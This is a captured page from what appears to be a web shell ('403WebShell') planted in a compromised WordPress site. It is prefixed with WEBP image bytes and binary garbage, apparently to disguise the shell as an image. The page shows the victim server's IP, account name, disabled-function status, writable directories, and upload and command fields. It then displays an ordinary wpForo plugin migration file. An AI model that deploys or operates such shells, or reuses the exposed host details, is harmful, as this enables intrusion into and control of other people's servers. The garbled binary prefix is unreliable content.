....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.29.146.187  /  Your IP : 216.73.216.167
Web Server : LiteSpeed
System : Linux premium302.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : ailwtbdh ( 734)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ailwtbdh/www/wp-content/plugins/wpforo/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ailwtbdh/www/wp-content/plugins/wpforo/includes/options-migration.php
<?php

function _wpforo_emails_old_shortcodes_to_new( $txt ){
	return str_replace(
		['[reply_title]', '[reply_desc]', '[topic_desc]', '[author-user-name]',   '[post_author_name]',   '[member_name]',       '[mentioned-user-name]', '[topic-title]', '[post-url]', '[post-desc]', '[post_desc]', '[forum]',      '[topic]',      '[post]',      '[reply]'],
		['[post_title]',  '[post_body]',  '[topic_body]', '[owner_display_name]', '[owner_display_name]', '[user_display_name]', '[user_display_name]',   '[topic_title]', '[post_url]', '[post_body]', '[post_body]', '[forum_link]', '[topic_link]', '[post_link]', '[post_link]'],
		$txt
	);
}

function _wpforo_migrate_old_options_to_new() {
	$blogname            = get_option( 'blogname', '' );
	$adminemail          = get_option( 'admin_email', '' );
	$upload_max_filesize = @ini_get( 'upload_max_filesize' );
	$upload_max_filesize = wpforo_human_size_to_bytes( $upload_max_filesize );
	if( ! $upload_max_filesize || $upload_max_filesize > 10485760 ) $upload_max_filesize = 10485760;

	$_general        = wpforo_get_option( 'wpforo_general_options', [
		'title'       => $blogname . ' ' . __( 'Forum', 'wpforo' ),
		'description' => $blogname . ' ' . __( 'Discussion Board', 'wpforo' ),
		'lang'        => 1
	], false );
	$_features       = wpforo_get_option( 'wpforo_features', [
		'user-admin-bar'                      => 0,
		'page-title'                          => 1,
		'top-bar'                             => 1,
		'top-bar-search'                      => 1,
		'breadcrumb'                          => 1,
		'footer-stat'                         => 1,
		'notifications'                       => 1,
		'notifications-live'                  => 0,
		'notifications-bar'                   => 1,
		'mention-nicknames'                   => 1,
		'content-do_shortcode'                => 0,
		'view-logging'                        => 1,
		'track-logging'                       => 1,
		'goto-unread'                         => 1,
		'goto-unread-button'                  => 0,
		'profile'                             => 1,
		'user-register'                       => 1,
		'user-register-email-confirm'         => 1,
		'disable_new_user_admin_notification' => 1,
		'register-url'                        => 0,
		'login-url'                           => 0,
		'resetpass-url'                       => 1,
		'replace-avatar'                      => 1,
		'avatars'                             => 1,
		'custom-avatars'                      => 1,
		'signature'                           => 1,
		'rating'                              => 1,
		'rating_title'                        => 1,
		'member_cashe'                        => 1,
		'object_cashe'                        => 1,
		'option_cache'                        => 1,
		'html_cashe'                          => 0,
		'memory_cashe'                        => 1,
		'seo-title'                           => 1,
		'seo-meta'                            => 1,
		'seo-profile'                         => 1,
		'rss-feed'                            => 1,
		'font-awesome'                        => 1,
		'bp_activity'                         => 1,
		'bp_notification'                     => 1,
		'bp_forum_tab'                        => 1,
		'um_forum_tab'                        => 1,
		'um_notification'                     => 1,
		'user-synch'                          => 0,
		'role-synch'                          => 1,
		'output-buffer'                       => 1,
		'wp-date-format'                      => 0,
		'subscribe_conf'                      => 1,
		'subscribe_checkbox_on_post_editor'   => 1,
		'subscribe_checkbox_default_status'   => 0,
		'attach-media-lib'                    => 1,
		'admin-cp'                            => 1,
		'debug-mode'                          => 0,
		'copyright'                           => 1,
	],                                    false );
	$_members        = wpforo_get_option( 'wpforo_member_options', [
		'custom_title_is_on'                => 1,
		'default_title'                     => 'Member',
		'members_per_page'                  => 15,
		'online_status_timeout'             => 240,
		'url_structure'                     => 'nicename',
		'search_type'                       => 'search', // can to be 'search' or 'filter'
		'login_url'                         => '',
		'register_url'                      => '',
		'lost_password_url'                 => '',
		'redirect_url_after_login'          => '',
		'redirect_url_after_register'       => '',
		'redirect_url_after_confirm_sbscrb' => '',
		'rating_title_ug'                   => [ 3, 4, 5 ],
		'rating_badge_ug'                   => [ 1, 2, 3, 4, 5 ],
		'title_usergroup'                   => [ 1, 2, 4, 5 ],
		'title_second_usergroup'            => [ 3 ],
	],                                    false );
	$_subscribes     = wpforo_get_option( 'wpforo_subscribe_options', [
		'from_name'                                    => $blogname . ' - ' . __( 'Forum', 'wpforo' ),
		'from_email'                                   => $adminemail,
		'admin_emails'                                 => $adminemail,
		'new_topic_notify'                             => 1,
		'new_reply_notify'                             => 0,
		'confirmation_email_subject'                   => __( "Please confirm subscription to [entry_title]", 'wpforo' ),
		'confirmation_email_message'                   => __( "Hello [member_name]!<br>\n Thank you for subscribing.<br>\n This is an automated response.<br>\n We are glad to inform you that after confirmation you will get updates from - [entry_title].<br>\n Please click on link below to complete this step.<br>\n [confirm_link]", 'wpforo' ),
		'new_topic_notification_email_subject'         => __( "New Topic", 'wpforo' ),
		'new_topic_notification_email_message'         => __( "Hello [member_name]!<br>\n New topic has been created on your subscribed forum - [forum].\n <br><br>\n <strong>[topic_title]</strong>\n <blockquote>\n [topic_desc]\n </blockquote>\n <br><hr>\n If you want to unsubscribe from this forum please use the link below.<br>\n [unsubscribe_link]", 'wpforo' ),
		'new_post_notification_email_subject'          => __( "New Reply", 'wpforo' ),
		'new_post_notification_email_message'          => __( "Hello [member_name]!<br>\n New reply has been posted on your subscribed topic - [topic].\n <br><br>\n <strong>[reply_title]</strong>\n <blockquote >\n [reply_desc]\n </blockquote>\n <br><hr>\n If you want to unsubscribe from this topic please use the link below.<br>\n [unsubscribe_link]", 'wpforo' ),
		'user_post_notification_email_subject'         => __( "New Post from [post_author_name]", 'wpforo' ),
		'user_post_notification_email_message'         => __( "Hello [member_name]!<br>\n New topic or post has been created by [post_author_name] you are following.\n <br><br>\n <strong>[post_title]</strong>\n <blockquote >\n [post_desc]\n </blockquote>\n <br><hr>\n If you want to unfollow this user please use the link below.<br>\n [unsubscribe_link]", 'wpforo' ),
		'report_email_subject'                         => __( "Forum Post Report", 'wpforo' ),
		'report_email_message'                         => __( "<strong>Report details:</strong>\n Reporter: [reporter], <br>\n Message: [message],<br>\n <br>\n [post_url]", 'wpforo' ),
		'overwrite_new_user_notification_admin'        => 1,
		'wp_new_user_notification_email_admin_subject' => __( "[blogname] New User Registration", 'wpforo' ),
		'wp_new_user_notification_email_admin_message' => __( "New user registration on your site [blogname]:\n\nUsername: [user_login]\n\nEmail: [user_email]\n", 'wpforo' ),
		'overwrite_new_user_notification'              => 1,
		'wp_new_user_notification_email_subject'       => __( "[blogname] Your username and password info", 'wpforo' ),
		'wp_new_user_notification_email_message'       => __( "Username: [user_login]\n\nTo set your password, visit the following address:\n\n[set_password_url]\n\n", 'wpforo' ),
		'overwrite_reset_password_email_message'       => 1,
		'reset_password_email_message'                 => __( "Hello! \n\n You asked us to reset your password for your account using the email address [user_login]. \n\n If this was a mistake, or you didn't ask for a password reset, just ignore this email and nothing will happen. \n\n To reset your password, visit the following address: \n\n [reset_password_url] \n\n Thanks!", 'wpforo' ),
		'user_mention_notify'                          => 1,
		'user_mention_email_subject'                   => __( "You have been mentioned in forum post", 'wpforo' ),
		'user_mention_email_message'                   => __( "Hi [mentioned-user-name]! <br>\n\n You have been mentioned in a post on \"[topic-title]\" by [author-user-name].<br/><br/>\n\n Post URL: [post-url]", 'wpforo' ),
	],                                    false );
	$_tools_antispam = wpforo_get_option( 'wpforo_tools_antispam', [
		'spam_filter'                   => 1,
		'spam_filter_level_topic'       => mt_rand( 30, 60 ),
		'spam_filter_level_post'        => mt_rand( 30, 60 ),
		'spam_user_ban'                 => 0,
		'new_user_max_posts'            => 3,
		'unapprove_post_if_user_is_new' => 0,
		'spam_user_ban_notification'    => 1,
		'min_number_post_to_attach'     => 0,
		'min_number_post_to_link'       => 0,
		'spam_file_scanner'             => 0,
		'limited_file_ext'              => 'pdf|doc|docx|txt|htm|html|rtf|xml|xls|xlsx|zip|rar|tar|gz|bzip|7z',
		'exclude_file_ext'              => 'pdf|doc|docx|txt',
		'rc_site_key'                   => '',
		'rc_secret_key'                 => '',
		'rc_theme'                      => 'light',
		'rc_login_form'                 => 0,
		'rc_reg_form'                   => 0,
		'rc_lostpass_form'              => 0,
		'rc_wpf_login_form'             => 1,
		'rc_wpf_reg_form'               => 1,
		'rc_wpf_lostpass_form'          => 1,
		'rc_topic_editor'               => 1,
		'rc_post_editor'                => 1,
		'html'                          => 'embed(src width height name pluginspage type wmode allowFullScreen allowScriptAccess flashVars),',
	],                                    false );
	$_forums         = wpforo_get_option( 'wpforo_forum_options', [
		'layout_extended_intro_topics_toggle' => 1,
		'layout_extended_intro_topics_count'  => 5,
		'layout_extended_intro_topics_length' => 45,
		'layout_qa_intro_topics_toggle'       => 1,
		'layout_qa_intro_topics_count'        => 3,
		'layout_qa_intro_topics_length'       => 90,
		'layout_threaded_intro_topics_toggle' => 0,
		'layout_threaded_display_subforums'   => 1,
		'layout_threaded_intro_topics_count'  => 10,
		'layout_threaded_intro_topics_length' => 0,
		'layout_threaded_filter_buttons'      => 1,
		'layout_threaded_add_topic_button'    => 1,
		'display_current_viewers'             => 1,
	],                                    false );
	$_posts          = wpforo_get_option( 'wpforo_post_options', [
		'layout_extended_intro_posts_toggle' => 1,
		'layout_extended_intro_posts_count'  => 4,
		'layout_extended_intro_posts_length' => 50,
		'recent_posts_type'                  => 'topics',
		'tags'                               => 1,
		'max_tags'                           => 5,
		'tags_per_page'                      => 100,
		'topics_per_page'                    => 10,
		'edit_topic'                         => 1,
		'edit_post'                          => 1,
		'eot_durr'                           => 300,
		'dot_durr'                           => 300,
		'posts_per_page'                     => 15,
		'layout_threaded_posts_per_page'     => 5,
		'layout_qa_posts_per_page'           => 15,
		'layout_qa_comments_limit_count'     => 3,
		'layout_qa_first_post_reply'         => 1,
		'layout_threaded_nesting_level'      => 5,
		'layout_threaded_first_post_reply'   => 0,
		'eor_durr'                           => 300,
		'dor_durr'                           => 300,
		'max_upload_size'                    => $upload_max_filesize,
		'display_current_viewers'            => 1,
		'display_recent_viewers'             => 1,
		'display_admin_viewers'              => 1,
		'union_first_post'                   => [
			1 => 0,
			2 => 0,
			3 => 1,
			4 => 0,
		],
		'search_max_results'                 => 100,
		'topic_title_min_length'             => 1,
		'topic_title_max_length'             => 0,
		'topic_body_min_length'              => 2,
		'topic_body_max_length'              => 0,
		'post_body_min_length'               => 2,
		'post_body_max_length'               => 0,
		'comment_body_min_length'            => 2,
		'comment_body_max_length'            => 0,
		'toolbar_location_topic'             => 'top',
		'toolbar_location_reply'             => 'top',
	],                                    false );
	if( ! $_posts['max_upload_size'] || $_posts['max_upload_size'] > 10485760 ) $_posts['max_upload_size'] = 10485760;
	$_forms          = wpforo_get_option( 'wpforo_form_options', [
		'qa_comments_rich_editor'    => 0,
		'threaded_reply_rich_editor' => 1,
		'qa_display_answer_editor'   => 1,
	],                                    false );
	$_activity       = wpforo_get_option( 'wpforo_activity_options', [
		'edit_topic'             => 1,
		'edit_post'              => 1,
		'edit_log_display_limit' => 0,
	],                                    false );
	$_revisions      = wpforo_get_option( 'wpforo_revision_options', [
		'auto_draft_interval' => 30000,
		'max_drafts_per_page' => 3,
		'is_preview_on'       => 1,
		'is_draft_on'         => 1,
	],                                    false );
	$_styles         = wpforo_get_option( 'wpforo_style_options', [
		'font_size_forum'        => 17,
		'font_size_topic'        => 16,
		'font_size_post_content' => 14,
		'custom_css'             => "#wpforo-wrap {\r\n   font-size: 13px; width: 100%; padding:10px 0; margin:0px;\r\n}\r\n",
	],                                    false );
	$_theme          = wpforo_get_option( 'wpforo_theme_options', [ 'style' => 'default' ], false );
	$_seo            = wpforo_get_option( 'wpforo_seo_options', [
		'members_sitemap'        => 1,
		'forums_sitemap'         => 1,
		'topics_sitemap'         => 1,
		'sitemap_items_per_page' => 1000,
		'allow_ping'             => 1,
		'ping_immediately'       => 0,
	],                                    false );
	$_tools_misc     = wpforo_get_option( 'wpforo_tools_misc', [
		'dofollow'          => '',
		'noindex'           => '',
		'admin_note'        => '',
		'admin_note_groups' => [ 1, 2, 3, 4, 5 ],
		'admin_note_pages'  => [ 'forum' ],
	],                                    false );
	$_api            = wpforo_get_option( 'wpforo_api_options', [
		'fb_api_id'          => '',
		'fb_api_secret'      => '',
		'fb_login'           => 0,
		'fb_load_sdk'        => 1,
		'fb_sdk_version'     => 'v2.10',
		'fb_lb_on_lp'        => 1,
		'fb_lb_on_rp'        => 1,
		'fb_redirect'        => 'profile',
		'fb_redirect_url'    => '',
		'tw_load_wjs'        => 1,
		'gg_load_js'         => 0,
		'vk_load_js'         => 1,
		'ok_load_js'         => 1,
		'sb_on'              => 1,
		'sb_toggle_on'       => 0,
		'sb'                 => [ 'fb' => 1, 'tw' => 1, 'wapp' => 1, 'lin' => 0, 'vk' => 0, 'ok' => 0, 'gg' => 0 ],
		'sb_icon'            => 'mixed',
		'sb_type'            => 'icon',
		'sb_style'           => 'grey',
		'sb_toggle'          => 4,
		'sb_location_toggle' => 'top',
		'sb_toggle_type'     => 'collapsed',
		'sb_location'        => [ 'top' => 0, 'bottom' => 1 ],
	],                                    false );

	$_tools_legal = wpforo_get_option( 'wpforo_tools_legal', [
		'rules_checkbox'          => 0,
		'rules_text'              => null,
		'page_terms'              => '',
		'page_privacy'            => '',
		'forum_privacy_text'      => null,
		'checkbox_terms_privacy'  => 0,
		'checkbox_email_password' => 1,
		'checkbox_forum_privacy'  => 0,
		'checkbox_fb_login'       => 1,
		'contact_page_url'        => null,
		'cookies'                 => 1,
	]);


	/**
	 * #### -- new settings array -- ####
	 */
	$general = [
		'admin_bar'      => $_features['user-admin-bar'] ? array_map( 'intval', (array) WPF()->usergroup->get_usergroups( 'groupid' ) ) : [],
		'wp_date_format' => $_features['wp-date-format'],
		'debug_mode'     => $_features['debug-mode'],
		'fontawesome'    => ( $_features['font-awesome'] == 1 ? 'forum' : ( $_features['font-awesome'] == 2 ? 'sitewide' : 'off' ) ),
	];

	$members = [
		'list_order'       => 'posts',
		'hide_inactive'    => true,
		'members_per_page' => $_members['members_per_page'],
		'search_type'      => $_members['search_type'],
	];

	$profiles = [
		'profile'                  => ( $_features['profile'] == 2 ? 'wpforo' : ( $_features['profile'] == 3 ? 'bp' : ( $_features['profile'] == 4 ? 'um' : 'default' ) ) ),
		'url_structure'            => $_members['url_structure'],
		'online_status_timeout'    => $_members['online_status_timeout'],
		'custom_title_is_on'       => $_members['custom_title_is_on'],
		'default_title'            => $_members['default_title'],
		'title_groupids'           => $_members['title_usergroup'],
		'title_secondary_groupids' => $_members['title_second_usergroup'],
		'mention_nicknames'        => $_features['mention-nicknames'],
		'avatars'                  => $_features['avatars'],
		'custom_avatars'           => $_features['custom-avatars'],
		'replace_avatar'           => $_features['replace-avatar'],
		'signature'                => $_features['signature'],
	];

	$rating = [
		'rating'          => $_features['rating'],
		'rating_title'    => $_features['rating_title'],
		'topic_points'    => 2,
		'post_points'     => 1,
		'like_points'     => 0.5,
		'dislike_points'  => - 0.5,
		'rating_title_ug' => $_members['rating_title_ug'],
		'rating_badge_ug' => $_members['rating_badge_ug'],
	];

	$authorization = [
		'user_register'                                => $_features['user-register'],
		'user_register_email_confirm'                  => $_features['user-register-email-confirm'],
		'role_synch'                                   => $_features['role-synch'],
